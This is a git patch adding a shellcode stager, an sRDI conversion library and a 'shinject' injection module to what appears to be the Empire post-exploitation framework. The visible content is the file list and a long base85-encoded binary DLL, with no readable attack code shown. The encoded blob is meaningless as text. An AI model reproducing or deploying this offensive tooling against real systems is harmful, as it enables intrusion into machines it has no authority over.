From 320fe957d17db99655f2216115f3f53e0224b731 Mon Sep 17 00:00:00 2001 From: xorrior Date: Fri, 2 Mar 2018 00:12:41 -0500 Subject: [PATCH] Added shellcode stager w/ sRDI project from @monogas --- data/misc/x64_slim.dll | Bin 0 -> 155136 bytes data/misc/x86_slim.dll | Bin 0 -> 131584 bytes lib/common/ShellcodeRDI.py | 193 ++++++++++++++++++ lib/common/empire.py | 36 ++++ lib/common/stagers.py | 34 +++ lib/modules/powershell/management/shinject.py | 152 ++++++++++++++ lib/stagers/windows/shellcode.py | 122 +++++++++++ 7 files changed, 537 insertions(+) create mode 100755 data/misc/x64_slim.dll create mode 100755 data/misc/x86_slim.dll create mode 100644 lib/common/ShellcodeRDI.py create mode 100644 lib/modules/powershell/management/shinject.py create mode 100644 lib/stagers/windows/shellcode.py diff --git a/data/misc/x64_slim.dll b/data/misc/x64_slim.dll new file mode 100755 index 0000000000000000000000000000000000000000..03042e77ee401816ab7fd6f99d59c3586cf8ebe3 GIT binary patch literal 155136 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 z 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 